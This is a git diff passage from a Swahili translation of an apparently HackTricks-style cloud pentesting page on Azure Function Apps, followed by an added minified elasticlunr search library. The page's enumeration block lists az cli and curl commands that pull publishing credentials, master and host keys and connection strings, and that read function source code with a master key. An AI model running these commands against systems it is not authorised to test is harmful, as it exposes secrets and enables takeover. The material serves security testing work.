wa maombi ya zamani, na **usindikaji wa GPU**, ikiondoa usimamizi wa klasta za Kubernetes. Inafaa kwa **maombi yanayoendeshwa na matukio, yanayoweza kupanuka yaliyowekwa kwenye kontena**. ### **Storage Buckets** -Unapounda Function App mpya isiyo na kontena (lakini ukitoa msimbo wa kuendesha), **msimbo na data nyingine zinazohusiana na Function zitahifadhiwa katika akaunti ya Hifadhi**. Kwa kawaida, console ya wavuti itaunda mpya kwa kila kazi kuhifadhi msimbo. +Unapounda Function App mpya isiyo na kontena (lakini ukitoa msimbo wa kuendesha), **msimbo na data nyingine zinazohusiana na Function zitawekwa kwenye akaunti ya Hifadhi**. Kwa kawaida, console ya wavuti itaunda mpya kwa kila kazi ili kuhifadhi msimbo. Zaidi ya hayo, kubadilisha msimbo ndani ya bucket (katika mifumo tofauti ambayo inaweza kuhifadhiwa), **msimbo wa programu utabadilishwa kuwa mpya na kutekelezwa** wakati wa pili kazi inaitwa. > [!CAUTION] -> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika juu ya bucket hii** utamruhusu mshambuliaji **kuharibu msimbo na kupandisha mamlaka** kwa vitambulisho vilivyo ndani ya Function App. +> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika juu ya bucket hii** utamruhusu mshambuliaji **kushambulia msimbo na kupandisha mamlaka** kwa vitambulisho vilivyo ndani ya Function App. > > Zaidi kuhusu hili katika **sehemu ya kupandisha mamlaka**. @@ -40,11 +40,11 @@ Kwa kutumia kichocheo cha HTTP: - Pia inawezekana **kutoa au kuzuia ufikiaji** kwa Function App kutoka **mtandao wa ndani (VPC)**. > [!CAUTION] -> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani inaweza kuwa inawezekana **kuhamasisha kwa mitandao ya ndani** kutoka kwa Function dhaifu iliyo wazi kwa Intaneti. +> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani inaweza kuwa inawezekana **kuhamasisha kwenye mitandao ya ndani** kutoka kwa Function iliyo hatarini iliyofichuliwa kwa Intaneti. ### **Function App Settings & Environment Variables** -Inawezekana kuunda mabadiliko ya mazingira ndani ya programu, ambayo yanaweza kuwa na taarifa nyeti. Zaidi ya hayo, kwa kawaida mabadiliko ya mazingira **`AzureWebJobsStorage`** na **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (miongoni mwa mengine) yanaundwa. Haya ni ya kuvutia sana kwa sababu yana **funguo za akaunti kudhibiti kwa ruhusa KAMILI akaunti ya hifadhi inayohifadhi data ya programu**. Mipangilio hii pia inahitajika kutekeleza msimbo kutoka kwa Akaunti ya Hifadhi. +Inawezekana kuunda mabadiliko ya mazingira ndani ya programu, ambayo yanaweza kuwa na taarifa nyeti. Zaidi ya hayo, kwa kawaida mabadiliko ya mazingira **`AzureWebJobsStorage`** na **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (miongoni mwa mengine) yanaundwa. Haya ni ya kuvutia sana kwa sababu yana **funguo za akaunti kudhibiti kwa ruhusa KAMILI akaunti ya hifadhi inayoshikilia data ya programu**. Mipangilio hii pia inahitajika kutekeleza msimbo kutoka Akaunti ya Hifadhi. Mabadiliko haya ya mazingira au vigezo vya usanidi pia vinadhibiti jinsi Function inavyotekeleza msimbo, kwa mfano ikiwa **`WEBSITE_RUN_FROM_PACKAGE`** ipo, itadhihirisha URL ambapo msimbo wa programu unapatikana. @@ -58,25 +58,27 @@ Katika **Windows** function inayotumia NodeJS msimbo ulikuwa unapatikana katika Kama [**VMs**](vms/index.html), Functions zinaweza kuwa na **Managed Identities** za aina 2: Iliyotolewa na Mfumo na Iliyotolewa na Mtumiaji. -**iliyotolewa na mfumo** itakuwa ni kitambulisho kinachodhibitiwa ambacho **kazi pekee** iliyotolewa itakuwa na uwezo wa kukitumia, wakati **iliyotolewa na mtumiaji** ni vitambulisho vinavyodhibitiwa ambavyo **huduma nyingine yoyote ya Azure itakuwa na uwezo wa kutumia**. +**iliyotolewa na mfumo** itakuwa ni kitambulisho kinachodhibitiwa ambacho **ni kazi pekee** ambayo ina idhini hiyo itakuwa na uwezo wa kutumia, wakati **iliyotolewa na mtumiaji** ni vitambulisho vilivyodhibitiwa ambavyo **huduma nyingine yoyote ya Azure itakuwa na uwezo wa kutumia**. > [!NOTE] -> Kama ilivyo katika [**VMs**](vms/index.html), Functions zinaweza kuwa na **1 kitambulisho kilichotolewa na mfumo** na **vitambulisho vingi vilivyotolewa na mtumiaji**, kwa hivyo ni muhimu kila wakati kujaribu kupata vyote ikiwa unaharibu kazi kwa sababu unaweza kuwa na uwezo wa kupandisha mamlaka kwa vitambulisho vingi vilivyodhibitiwa kutoka kwa Function moja tu. +> Kama ilivyo katika [**VMs**](vms/index.html), Functions zinaweza kuwa na **1 kitambulisho kilichotolewa na mfumo** na **vitambulisho vingi vilivyotolewa na mtumiaji**, kwa hivyo ni muhimu kila wakati kujaribu kupata vyote ikiwa unashambulia kazi kwa sababu unaweza kuwa na uwezo wa kupandisha mamlaka kwa vitambulisho vingi vilivyodhibitiwa kutoka kwa Function moja tu. > -> Ikiwa kitambulisho kisichodhibitiwa na mfumo hakitumiki lakini kitambulisho kimoja au zaidi kilichodhibitiwa na mtumiaji kimeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote. +> Ikiwa kitambulisho kisichotolewa na mfumo hakitumiki lakini kitambulisho kimoja au zaidi kilichotolewa na mtumiaji kimeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote. -Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa kitambulisho kilichodhibitiwa na mfumo kutoka kwa kiunganishi cha metadata. Au unaweza kuzipata **kwa mikono** kama ilivyoelezwa katika: +Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa kitambulisho kilichotolewa na mfumo kutoka kwa kiunganishi cha metadata. Au unaweza kuzipata **kwa mikono** kama ilivyoelezwa katika: -{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %} +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm +{{#endref}} -Kumbuka unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyotolewa na kazi** kwani ikiwa hujaashiria, kiunganishi cha metadata kita **tumia tu kile cha kawaida** (angalia kiungo kilichopita kwa maelezo zaidi). +Kumbuka kwamba unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyotolewa kwa kazi** kwani ikiwa hujaashiria, kiunganishi cha metadata kita **tumia tu kile cha kawaida** (angalia kiungo kilichopita kwa maelezo zaidi). ## Access Keys > [!NOTE] -> Kumbuka kwamba hakuna ruhusa za RBAC za kutoa ufikiaji kwa watumiaji kuanzisha kazi. **kuanzisha kazi kunategemea kichocheo** kilichochaguliwa wakati ilipoundwa na ikiwa kichocheo cha HTTP kilichaguliwa, inaweza kuhitajika kutumia **funguo za ufikiaji**. +> Kumbuka kwamba hakuna ruhusa za RBAC za kutoa ufikiaji kwa watumiaji kuanzisha kazi. **kuanzishwa kwa kazi kunategemea kichocheo** kilichochaguliwa wakati ilipoundwa na ikiwa kichocheo cha HTTP kilichaguliwa, inaweza kuwa inahitajika kutumia **funguo za ufikiaji**. -Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezekana kuashiria **ngazi ya uthibitisho wa funguo za ufikiaji** zinazohitajika kuanzisha kazi. Chaguzi tatu zinapatikana: +Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezekana kuashiria **ngazi ya idhini ya funguo za ufikiaji** zinazohitajika kuanzisha kazi. Chaguzi tatu zinapatikana: - **ANONYMOUS**: **Kila mtu** anaweza kufikia kazi kupitia URL. - **FUNCTION**: Kiunganishi kinapatikana tu kwa watumiaji wanaotumia **funguo, mwenyeji au funguo za master**. @@ -86,7 +88,7 @@ Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezeka - **Funguo za Kazi:** Funguo za kazi zinaweza kuwa za kawaida au zilizofanywa na mtumiaji na zimeundwa kutoa ufikiaji pekee kwa **kiunganishi maalum cha kazi** ndani ya Function App ikiruhusu ufikiaji wa kina zaidi juu ya viunganishi. - **Funguo za Mwenyeji:** Funguo za mwenyeji, ambazo pia zinaweza kuwa za kawaida au zilizofanywa na mtumiaji, zinatoa ufikiaji kwa **viunganishi vyote vya kazi ndani ya Function App kwa ngazi ya ufikiaji wa FUNCTION**. -- **Funguo za Master:** Funguo za master (`_master`) hutumikia kama funguo za kiutawala zinazotoa ruhusa za juu, ikiwa ni pamoja na ufikiaji kwa viunganishi vyote vya kazi (ngazi ya ufikiaji wa ADMIN inajumuishwa). **funguo hii haiwezi kufutwa.** +- **Funguo za Master:** Funguo za master (`_master`) hutumikia kama funguo za usimamizi zinazotoa ruhusa za juu, ikiwa ni pamoja na ufikiaji kwa viunganishi vyote vya kazi (ngazi ya ufikiaji wa ADMIN inajumuishwa). **funguo hii haiwezi kufutwa.** - **Funguo za Mfumo:** Funguo za mfumo zinadhibitiwa na **nyongeza maalum** na zinahitajika kwa ufikiaji wa viunganishi vya webhook vinavyotumiwa na vipengele vya ndani. Mifano ni pamoja na kichocheo cha Event Grid na Functions za Kudumu, ambazo hutumia funguo za mfumo kuingiliana kwa usalama na APIs zao. > [!TIP] @@ -96,7 +98,7 @@ Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezeka ### Basic Authentication -Kama ilivyo katika App Services, Functions pia zinasaidia uthibitisho wa msingi kuungana na **SCM** na **FTP** ili kupeleka msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hili katika: +Kama ilivyo katika App Services, Functions pia zinasaidia uthibitishaji wa msingi kuungana na **SCM** na **FTP** ili kuweka msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hili katika: {{#ref}} az-app-services.md @@ -192,18 +194,18 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} ``` -Zaidi ya hayo, **Identiti Iliyosimamiwa** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akiba ya Shirikisho juu ya **Identiti Iliyosimamiwa** ikiruhusu **Mtoaji** `https://token.actions.githubusercontent.com` na **Kitambulisho cha Mtu** `repo:/:ref:refs/heads/`. +Zaidi ya hayo, **Identiti Iliyosimamiwa** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akidi ya Shirikisho juu ya **Identiti Iliyosimamiwa** ikiruhusu **Mtoaji** `https://token.actions.githubusercontent.com` na **Kitambulisho cha Mtu** `repo:/:ref:refs/heads/`. > [!CAUTION] > Hivyo, mtu yeyote anayekatisha tamaa hazina hiyo ataweza kukatisha tamaa kazi na Identiti Iliyosimamiwa zinazohusiana nayo. ### Utekelezaji wa Msingi wa Kontena -Sio mipango yote inayo ruhusu kutekeleza kontena, lakini kwa zile zinazofanya hivyo, usanidi utaonyesha URL ya kontena. Katika API, mipangilio ya **`linuxFxVersion`** itakuwa na kitu kama: `DOCKER|mcr.microsoft.com/...`, wakati katika console ya wavuti, usanidi utaonyesha **mipangilio ya picha**. +Sio mipango yote inaruhusu kutekeleza kontena, lakini kwa zile zinazofanya hivyo, usanidi utaonyesha URL ya kontena. Katika API, mipangilio ya **`linuxFxVersion`** itakuwa na kitu kama: `DOCKER|mcr.microsoft.com/...`, wakati katika console ya wavuti, usanidi utaonyesha **mipangilio ya picha**. -Zaidi ya hayo, **hakuna msimbo wa chanzo utakaohifadhiwa katika akaunti ya hifadhi** inayohusiana na kazi kwani haitahitajika. +Zaidi ya hayo, **hakuna msimbo wa chanzo utakaohifadhiwa katika akaunti ya hifadhi** inayohusiana na kazi hiyo kwani haitahitajika. -## Uhesabu +## Uainishaji {{#tabs }} {{#tab name="az cli" }} @@ -211,10 +213,10 @@ Zaidi ya hayo, **hakuna msimbo wa chanzo utakaohifadhiwa katika akaunti ya hifad # List all the functions az functionapp list -# Get info of 1 funciton (although in the list you already get this info) -az functionapp show --name --resource-group -## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..." -## This is using a container +# List functions in an function-app (endpoints) +az functionapp function list \ +--name \ +--resource-group # Get details about the source of the function code az functionapp deployment source show \ @@ -231,6 +233,9 @@ az functionapp config container show \ # Get settings (and privesc to the sorage account) az functionapp config appsettings list --name --resource-group +# Get access restrictions +az functionapp config access-restriction show --name --resource-group + # Check if a domain was assigned to a function app az functionapp config hostname list --webapp-name --resource-group @@ -240,22 +245,41 @@ az functionapp config ssl list --resource-group # Get network restrictions az functionapp config access-restriction show --name --resource-group -# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) -az rest --method GET \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" +# Get acess restrictions +az functionapp config access-restriction show --name --resource-group + +# Get connection strings +az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/connectionstrings/list?api-version=2022-03-01" +az rest --method GET --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/configreferences/connectionstrings?api-version=2022-03-01" + +# Get SCM credentials +az functionapp deployment list-publishing-credentials --name --resource-group + +# Get function, system and master keys +az functionapp keys list --name --resource-group + +# Get Host key +az rest --method POST --uri "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" # Get source code with Master Key of the function curl "?code=" -## Python example -curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v +curl "https://.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v + +# Get source code using SCM access (Azure permissions or SCM creds) +az rest --method GET \ +--url "https://.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" \ +--resource "https://management.azure.com/" + +# Get source code with Azure permissions +az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" +## Another example +az rest --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/ConsumptionExample/hostruntime/admin/vfs/HttpExample/index.js?relativePath=1&api-version=2022-03-01" -# Get source code -az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash Get-Command -Module Az.Functions # Lists all Function Apps in the current subscription or in a specific resource group. diff --git a/theme/elasticlunr.min.js b/theme/elasticlunr.min.js new file mode 100644 index 000000000..32cb1bce1 --- /dev/null +++ b/theme/elasticlunr.min.js @@ -0,0 +1,10 @@ +/** + * elasticlunr - http://weixsong.github.io + * Lightweight full-text search engine in Javascript for browser search and offline search. - 0.9.5 + * + * Copyright (C) 2016 Oliver Nightingale + * Copyright (C) 2016 Wei Song + * MIT Licensed + * @license + */ +!function(){function e(e){if(null===e||"object"!=typeof e)return e;var t=e.constructor();for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t}var t=function(e){var n=new t.Index;return n.pipeline.add(t.trimmer,t.stopWordFilter,t.stemmer),e&&e.call(n,n),n};t.version="0.9.5",lunr=t,t.utils={},t.utils.warn=function(e){return function(t){e.console&&console.warn&&console.warn(t)}}(this),t.utils.toString=function(e){return void 0===e||null===e?"":e.toString()},t.EventEmitter=function(){this.events={}},t.EventEmitter.prototype.addListener=function(){var e=Array.prototype.slice.call(arguments),t=e.pop(),n=e;if("function"!=typeof t)throw new TypeError("last argument must be a function");n.forEach(function(e){this.hasHandler(e)||(this.events[e]=[]),this.events[e].push(t)},this)},t.EventEmitter.prototype.removeListener=function(e,t){if(this.hasHandler(e)){var n=this.events[e].indexOf(t);-1!==n&&(this.events[e].splice(n,1),0==this.events[e].length&&delete this.events[e])}},t.EventEmitter.prototype.emit=function(e){if(this.hasHandler(e)){var t=Array.prototype.slice.call(arguments,1);this.events[e].forEach(function(e){e.apply(void 0,t)},this)}},t.EventEmitter.prototype.hasHandler=function(e){return e in this.events},t.tokenizer=function(e){if(!arguments.length||null===e||void 0===e)return[];if(Array.isArray(e)){var n=e.filter(function(e){return null===e||void 0===e?!1:!0});n=n.map(function(e){return t.utils.toString(e).toLowerCase()});var i=[];return n.forEach(function(e){var n=e.split(t.tokenizer.seperator);i=i.concat(n)},this),i}return e.toString().trim().toLowerCase().split(t.tokenizer.seperator)},t.tokenizer.defaultSeperator=/[\s\-]+/,t.tokenizer.seperator=t.tokenizer.defaultSeperator,t.tokenizer.setSeperator=function(e){null!==e&&void 0!==e&&"object"==typeof e&&(t.tokenizer.seperator=e)},t.tokenizer.resetSeperator=function(){t.tokenizer.seperator=t.tokenizer.defaultSeperator},t.tokenizer.getSeperator=function(){return t.tokenizer.seperator},t.Pipeline=function(){this._queue=[]},t.Pipeline.registeredFunctions={},t.Pipeline.registerFunction=function(e,n){n in t.Pipeline.registeredFunctions&&t.utils.warn("Overwriting existing registered function: "+n),e.label=n,t.Pipeline.registeredFunctions[n]=e},t.Pipeline.getRegisteredFunction=function(e){return e in t.Pipeline.registeredFunctions!=!0?null:t.Pipeline.registeredFunctions[e]},t.Pipeline.warnIfFunctionNotRegistered=function(e){var n=e.label&&e.label in this.registeredFunctions;n||t.utils.warn("Function is not registered with pipeline. This may cause problems when serialising the index.\n",e)},t.Pipeline.load=function(e){var n=new t.Pipeline;return e.forEach(function(e){var i=t.Pipeline.getRegisteredFunction(e);if(!i)throw new Error("Cannot load un-registered function: "+e);n.add(i)}),n},t.Pipeline.prototype.add=function(){var e=Array.prototype.slice.call(arguments);e.forEach(function(e){t.Pipeline.warnIfFunctionNotRegistered(e),this._queue.push(e)},this)},t.Pipeline.prototype.after=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i+1,0,n)},t.Pipeline.prototype.before=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i,0,n)},t.Pipeline.prototype.remove=function(e){var t=this._queue.indexOf(e);-1!==t&&this._queue.splice(t,1)},t.Pipeline.prototype.run=function(e){for(var t=[],n=e.length,i=this._queue.length,o=0;n>o;o++){for(var r=e[o],s=0;i>s&&(r=this._queue[s](r,o,e),void 0!==r&&null!==r);s++);void 0!==r&&null!==r&&t.push(r)}return t},t.Pipeline.prototype.reset=function(){this._queue=[]},t.Pipeline.prototype.get=function(){return this._queue},t.Pipeline.prototype.toJSON=function(){return this._queue.map(function(e){return t.Pipeline.warnIfFunctionNotRegistered(e),e.label})},t.Index=function(){this._fields=[],this._ref="id",this.pipeline=new t.Pipeline,this.documentStore=new t.DocumentStore,this.index={},this.eventEmitter=new t.EventEmitter,this._idfCache={},this.on("add","remove","update",function(){this._idfCache={}}.bind(this))},t.Index.prototype.on=function(){var e=Array.prototype.slice.call(arguments);return this.eventEmitter.addListener.apply(this.eventEmitter,e)},t.Index.prototype.off=function(e,t){return this.eventEmitter.removeListener(e,t)},t.Index.load=function(e){e.version!==t.version&&t.utils.warn("version mismatch: current "+t.version+" importing "+e.version);var n=new this;n._fields=e.fields,n._ref=e.ref,n.documentStore=t.DocumentStore.load(e.documentStore),n.pipeline=t.Pipeline.load(e.pipeline),n.index={};for(var i in e.index)n.index[i]=t.InvertedIndex.load(e.index[i]);return n},t.Index.prototype.addField=function(e){return this._fields.push(e),this.index[e]=new t.InvertedIndex,this},t.Index.prototype.setRef=function(e){return this._ref=e,this},t.Index.prototype.saveDocument=function(e){return this.documentStore=new t.DocumentStore(e),this},t.Index.prototype.addDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.addDoc(i,e),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));this.documentStore.addFieldLength(i,n,o.length);var r={};o.forEach(function(e){e in r?r[e]+=1:r[e]=1},this);for(var s in r){var u=r[s];u=Math.sqrt(u),this.index[n].addToken(s,{ref:i,tf:u})}},this),n&&this.eventEmitter.emit("add",e,this)}},t.Index.prototype.removeDocByRef=function(e){if(e&&this.documentStore.isDocStored()!==!1&&this.documentStore.hasDoc(e)){var t=this.documentStore.getDoc(e);this.removeDoc(t,!1)}},t.Index.prototype.removeDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.hasDoc(i)&&(this.documentStore.removeDoc(i),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));o.forEach(function(e){this.index[n].removeToken(e,i)},this)},this),n&&this.eventEmitter.emit("remove",e,this))}},t.Index.prototype.updateDoc=function(e,t){var t=void 0===t?!0:t;this.removeDocByRef(e[this._ref],!1),this.addDoc(e,!1),t&&this.eventEmitter.emit("update",e,this)},t.Index.prototype.idf=function(e,t){var n="@"+t+"/"+e;if(Object.prototype.hasOwnProperty.call(this._idfCache,n))return this._idfCache[n];var i=this.index[t].getDocFreq(e),o=1+Math.log(this.documentStore.length/(i+1));return this._idfCache[n]=o,o},t.Index.prototype.getFields=function(){return this._fields.slice()},t.Index.prototype.search=function(e,n){if(!e)return[];var i=null;null!=n&&(i=JSON.stringify(n));var o=new t.Configuration(i,this.getFields()).get(),r=this.pipeline.run(t.tokenizer(e)),s={};for(var u in o){var a=this.fieldSearch(r,u,o),l=o[u].boost;for(var d in a)a[d]=a[d]*l;for(var d in a)d in s?s[d]+=a[d]:s[d]=a[d]}var c=[];for(var d in s)c.push({ref:d,score:s[d]});return c.sort(function(e,t){return t.score-e.score}),c},t.Index.prototype.fieldSearch=function(e,t,n){var i=n[t].bool,o=n[t].expand,r=n[t].boost,s=null,u={};return 0!==r?(e.forEach(function(e){var n=[e];1==o&&(n=this.index[t].expandToken(e));var r={};n.forEach(function(n){var o=this.index[t].getDocs(n),a=this.idf(n,t);if(s&&"AND"==i){var l={};for(var d in s)d in o&&(l[d]=o[d]);o=l}n==e&&this.fieldSearchStats(u,n,o);for(var d in o){var c=this.index[t].getTermFrequency(n,d),f=this.documentStore.getFieldLength(d,t),h=1;0!=f&&(h=1/Math.sqrt(f));var p=1;n!=e&&(p=.15*(1-(n.length-e.length)/n.length));var v=c*a*h*p;d in r?r[d]+=v:r[d]=v}},this),s=this.mergeScores(s,r,i)},this),s=this.coordNorm(s,u,e.length)):void 0},t.Index.prototype.mergeScores=function(e,t,n){if(!e)return t;if("AND"==n){var i={};for(var o in t)o in e&&(i[o]=e[o]+t[o]);return i}for(var o in t)o in e?e[o]+=t[o]:e[o]=t[o];return e},t.Index.prototype.fieldSearchStats=function(e,t,n){for(var i in n)i in e?e[i].push(t):e[i]=[t]},t.Index.prototype.coordNorm=function(e,t,n){for(var i in e)if(i in t){var o=t[i].length;e[i]=e[i]*o/n}return e},t.Index.prototype.toJSON=function(){var e={};return this._fields.forEach(function(t){e[t]=this.index[t].toJSON()},this),{version:t.version,fields:this._fields,ref:this._ref,documentStore:this.documentStore.toJSON(),index:e,pipeline:this.pipeline.toJSON()}},t.Index.prototype.use=function(e){var t=Array.prototype.slice.call(arguments,1);t.unshift(this),e.apply(this,t)},t.DocumentStore=function(e){this._save=null===e||void 0===e?!0:e,this.docs={},this.docInfo={},this.length=0},t.DocumentStore.load=function(e){var t=new this;return t.length=e.length,t.docs=e.docs,t.docInfo=e.docInfo,t._save=e.save,t},t.DocumentStore.prototype.isDocStored=function(){return this._save},t.DocumentStore.prototype.addDoc=function(t,n){this.hasDoc(t)||this.length++,this.docs[t]=this._save===!0?e(n):null},t.DocumentStore.prototype.getDoc=function(e){return this.hasDoc(e)===!1?null:this.docs[e]},t.DocumentStore.prototype.hasDoc=function(e){return e in this.docs},t.DocumentStore.prototype.removeDoc=function(e){this.hasDoc(e)&&(delete this.docs[e],delete this.docInfo[e],this.length--)},t.DocumentStore.prototype.addFieldLength=function(e,t,n){null!==e&&void 0!==e&&0!=this.hasDoc(e)&&(this.docInfo[e]||(this.docInfo[e]={}),this.docInfo[e][t]=n)},t.DocumentStore.prototype.updateFieldLength=function(e,t,n){null!==e&&void 0!==e&&0!=this.hasDoc(e)&&this.addFieldLength(e,t,n)},t.DocumentStore.prototype.getFieldLength=function(e,t){return null===e||void 0===e?0:e in this.docs&&t in this.docInfo[e]?this.docInfo[e][t]:0},t.DocumentStore.prototype.toJSON=function(){return{docs:this.docs,docInfo:this.docInfo,length:this.length,save:this._save}},t.stemmer=function(){var e={ational:"ate",tional:"tion",enci:"ence",anci:"ance",izer:"ize",bli:"ble",alli:"al",entli:"ent",eli:"e",ousli:"ous",ization:"ize",ation:"ate",ator:"ate",alism:"al",iveness:"ive",fulness:"ful",ousness:"ous",aliti:"al",iviti:"ive",biliti:"ble",logi:"log"},t={icate:"ic",ative:"",alize:"al",iciti:"ic",ical:"ic",ful:"",ness:""},n="[^aeiou]",i="[aeiouy]",o=n+"[^aeiouy]*",r=i+"[aeiou]*",s="^("+o+")?"+r+o,u="^("+o+")?"+r+o+"("+r+")?$",a="^("+o+")?"+r+o+r+o,l="^("+o+")?"+i,d=new RegExp(s),c=new RegExp(a),f=new RegExp(u),h=new RegExp(l),p=/^(.+?)(ss|i)es$/,v=/^(.+?)([^s])s$/,g=/^(.+?)eed$/,m=/^(.+?)(ed|ing)$/,y=/.$/,S=/(at|bl|iz)$/,x=new RegExp("([^aeiouylsz])\\1$"),w=new RegExp("^"+o+i+"[^aeiouwxy]$"),I=/^(.+?[^aeiou])y$/,b=/^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/,E=/^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/,D=/^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/,F=/^(.+?)(s|t)(ion)$/,_=/^(.+?)e$/,P=/ll$/,k=new RegExp("^"+o+i+"[^aeiouwxy]$"),z=function(n){var i,o,r,s,u,a,l;if(n.length<3)return n;if(r=n.substr(0,1),"y"==r&&(n=r.toUpperCase()+n.substr(1)),s=p,u=v,s.test(n)?n=n.replace(s,"$1$2"):u.test(n)&&(n=n.replace(u,"$1$2")),s=g,u=m,s.test(n)){var z=s.exec(n);s=d,s.test(z[1])&&(s=y,n=n.replace(s,""))}else if(u.test(n)){var z=u.exec(n);i=z[1],u=h,u.test(i)&&(n=i,u=S,a=x,l=w,u.test(n)?n+="e":a.test(n)?(s=y,n=n.replace(s,"")):l.test(n)&&(n+="e"))}if(s=I,s.test(n)){var z=s.exec(n);i=z[1],n=i+"i"}if(s=b,s.test(n)){var z=s.exec(n);i=z[1],o=z[2],s=d,s.test(i)&&(n=i+e[o])}if(s=E,s.test(n)){var z=s.exec(n);i=z[1],o=z[2],s=d,s.test(i)&&(n=i+t[o])}if(s=D,u=F,s.test(n)){var z=s.exec(n);i=z[1],s=c,s.test(i)&&(n=i)}else if(u.test(n)){var z=u.exec(n);i=z[1]+z[2],u=c,u.test(i)&&(n=i)}if(s=_,s.test(n)){var z=s.exec(n);i=z[1],s=c,u=f,a=k,(s.test(i)||u.test(i)&&!a.test(i))&&(n=i)}return s=P,u=c,s.test(n)&&u.test(n)&&(s=y,n=n.replace(s,"")),"y"==r&&(n=r.toLowerCase()+n.substr(1)),n};return z}(),t.Pipeline.registerFunction(t.stemmer,"stemmer"),t.stopWordFilter=function(e){return e&&t.stopWordFilter.stopWords[e]!==!0?e:void 0},t.clearStopWords=function(){t.stopWordFilter.stopWords={}},t.addStopWords=function(e){null!=e&&Array.isArray(e)!==!1&&e.forEach(function(e){t.stopWordFilter.stopWords[e]=!0},this)},t.resetStopWords=function(){t.stopWordFilter.stopWords=t.defaultStopWords},t.defaultStopWords={"":!0,a:!0,able:!0,about:!0,across:!0,after:!0,all:!0,almost:!0,also:!0,am:!0,among:!0,an:!0,and:!0,any:!0,are:!0,as:!0,at:!0,be:!0,because:!0,been:!0,but:!0,by:!0,can:!0,cannot:!0,could:!0,dear:!0,did:!0,"do":!0,does:!0,either:!0,"else":!0,ever:!0,every:!0,"for":!0,from:!0,get:!0,got:!0,had:!0,has:!0,have:!0,he:!0,her:!0,hers:!0,him:!0,his:!0,how:!0,however:!0,i:!0,"if":!0,"in":!0,into:!0,is:!0,it:!0,its:!0,just:!0,least:!0,let:!0,like:!0,likely:!0,may:!0,me:!0,might:!0,most:!0,must:!0,my:!0,neither:!0,no:!0,nor:!0,not:!0,of:!0,off:!0,often:!0,on:!0,only:!0,or:!0,other:!0,our:!0,own:!0,rather:!0,said:!0,say:!0,says:!0,she:!0,should:!0,since:!0,so:!0,some:!0,than:!0,that:!0,the:!0,their:!0,them:!0,then:!0,there:!0,these:!0,they:!0,"this":!0,tis:!0,to:!0,too:!0,twas:!0,us:!0,wants:!0,was:!0,we:!0,were:!0,what:!0,when:!0,where:!0,which:!0,"while":!0,who:!0,whom:!0,why:!0,will:!0,"with":!0,would:!0,yet:!0,you:!0,your:!0},t.stopWordFilter.stopWords=t.defaultStopWords,t.Pipeline.registerFunction(t.stopWordFilter,"stopWordFilter"),t.trimmer=function(e){if(null===e|